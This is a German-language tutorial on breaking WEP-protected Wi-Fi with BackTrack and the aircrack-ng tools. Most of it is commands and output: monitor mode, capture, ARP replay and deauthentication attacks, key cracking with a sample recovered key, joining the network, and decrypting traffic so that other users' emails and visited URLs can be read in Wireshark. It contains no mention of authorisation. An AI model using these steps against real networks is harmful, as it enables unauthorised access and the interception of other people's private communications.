WEP-Hacken

Dieses Tutorial basiert auf der Nutzung der Live-CD Backtrack 3.0 Beta, die unter der Adresse http://www.remote-exploit.org/backtrack.html kostenlos heruntergeladen werden kann und ohne weitere Installation funktioniert.

Zuerst müssen wir die WLAN Karte in dem „*Monitormode*“ versetzen (Achtung! Nicht jeder eingebaute Notebookchipsatz unterstützt alle nötigen Funktionen). Dies geschieht durch das Programm `airmon`:

```
airmon-ng start wifi0
```

Dabei wird auch das Monitorinterface <ath1> angelegt und gestartet. Dieses Interface wird später von allen `air-*` Programmen benutzt.

Um die verfügbaren Access-Points (WLAN-Netze) zu finden, nutzen wir `airodump` und notieren uns die MAC-Adresse des gesuchten Access-Points.

```
airodump-ng <MONITOR_IFACE>
```

Anschließend kann ebenfalls mit `airodump` der Traffic des gewünschten WLAN-Netzwerkes mitgeschnitten werden:

```
airodump-ng -c <WLAN_CHANNEL> --bssid <ROUTER_MAC> -w <DATEINAME>
<MONITOR_IFACE>
```

Hierbei müssen natürlich die <Platzhalter> durch die zuvor ermittelten Werte ersetzt werden. Der Dateiname wird vom Programm automatisch mit einer angehängten, fortlaufenden Nummer gekennzeichnet.

Im Programm müssen jetzt Datenpakete gesammelt werden. Bei der hier angewendeten Methode sind zwischen 250.000 und 500.000 Datenpakete notwendig um den WEP-Schlüssel des Netzwerkes ermitteln zu können. Dazu sollte ein Datenumfang von 300-600 MB ausreichend sein.

Mit dem Programm `aireplay` kann jedoch bestimmter bereits durch den User erzeugter Traffic(ARP-Requests) abgefangen und in Eigeninitiative (auf einer zweiten Konsole!) immer wieder nochmals verschickt werden.

```
aireplay-ng --arpreplay -b <ROUTER_MAC> -h <CLIENT_MAC> <MONITOR_IFACE>
```

Bei einigen Netzwerkkarten kann man auch die Verbindung eines Clients mittels `aireplay` zurücksetzen (Dieses dann auf einer dritten Konsole).

```
aireplay-ng --deauth <ANZAHL_DEAUTH_PAKETE> -a <ROUTER_MAC> -c <CLIENT_MAC>
<MONITOR_IFACE>
```

Dann melden diese sich meist automatisch erneut beim Router an und senden den gewünschten ARP-Request. Dieser kann genutzt werden um deutlich weniger Pakete zum entschlüsseln zu benötigen. Bei ARP-Requests reichen ca. 35.000-50.000 Datenpakete aus.

Jetzt kann der `airodump` Prozeß abgebrochen werden. Die entstandene Datei kann nun zum berechnen des Schlüssels verwendet werden. Hierzu wird das Programm `aircrack` benutzt:

```
aircrack-ng -z <DATEINAME>
```

Jetzt wird aus den abgefangenen Paketen der Schlüssel berechnet.

```
                                Aircrack-ng 1.0 beta1 r857

                        [00:00:09] Tested 60870 keys (got 501635 IVs)

KB    depth   byte(vote)
 0    0/  1   1A(694528) 69(534016) CE(534016) DE(527616) DC(525568) 26(525312) 02(524288) C7(523520)
 1    0/  1   23(694528) A8(536576) 84(532736) A6(530432) 3A(528896) 0C(525056) 4F(523520) 7A(523520)
 2    0/  1   ED(689152) F1(527360) B7(524800) E9(523008) 65(522752) 9D(521472) C0(521216) F0(520960)
 3    0/  1   C4(671488) ED(531200) 9C(528640) BA(528384) 2D(526592) 4B(526592) D2(526080) AA(525568)
 4    0/  1   F5(672768) 92(533248) 0C(532224) 98(532224) EE(529152) 46(528384) FA(527872) 4E(527616)
 5    0/  1   B6(681472) D6(531200) 97(526336) F7(526080) 06(524800) BE(524800) 07(524288) 61(524288)
 6    0/  1   78(644352) DE(536320) 2A(536064) F2(527360) F3(527360) 41(525568) 04(525312) 40(525056)
 7    0/  1   90(643584) 34(538112) 29(534016) CA(531712) DD(529408) 23(528640) AC(528128) B0(527872)
 8    0/  1   1A(656384) 9C(534016) 19(529152) BC(529152) 1B(526336) 9A(526336) C2(526080) B3(524288)
 9    0/  1   23(680192) A1(537856) 9F(529152) 15(528384) 56(528384) CB(528384) 66(527360) 8D(526080)
10    0/  1   61(530688) 13(529408) 58(528640) CD(526848) 52(526080) F5(525568) 14(525312) 54(525056)
11    0/  1   BF(529408) 14(527872) 9C(527872) 41(526080) C9(525568) 70(523264) 3E(522752) F5(522240)
12    0/  1   F5(626816) 5E(531252) 7C(527676) 3B(526740) BC(525848) BE(525340) 05(524076) 59(522364)

        KEY FOUND! [ 1A:23:ED:C4:F5:B6:78:90:1A:23:ED:C4:F5 ]
    Decrypted correctly: 100%
```

Der errechnete Schlüssel aus ~500.000 Datenpaketen.

Anschließend kann man sich mit dem berechneten WEP-Schlüssel im WLAN anmelden und gegebenenfalls bereits die Internetverbindung nutzen sowie auf Freigaben zugreifen die nicht Passwortgeschützt sind.

Um die gesendeten Daten der anderen Clients (z.b. E-Mails, besuchte URLs, etc.) live mitlesen zu können, sind ein paar weitere Schritte erforderlich.

Mit dem Programm `airtun` erzeugt man einen Tunnel vom vorher benutztem Monitorinterface im Lauschmodus zu einem neuen Interface im normalen Modus. Dieses neue Interface hat durch Koppelung mit dem errechneten WEP-Schlüssel anschließend die gesendeten Daten unverschlüsselt vorliegen.

```
airtun-ng -a <ROUTER_MAC> -w <WEP_KEY> <MONITOR_IFACE>
```

Das Interface at0 wird erzeugt und mit...

```
ifconfig at0 up
```

gestartet.

Abschließend kann ein Snifferprogramm wie Wireshark/Ethereal nun diese Daten von dem neu angelegten Interface ganz einfach grafisch zuordnen und diese liegen somit in einzelnen Datenströmen eines Protokolls vor. Neben URLS im Klartext, lassen sich so natürlich auch die Texte aus Emails oder ähnlichem lesen.

Quellen:

- http://www.remote-exploit.org/backtrack.html
- http://www.aircrack-ng.org

Ausarbeitung und Dokumentation:

Andreas Petker, Manuel Krischer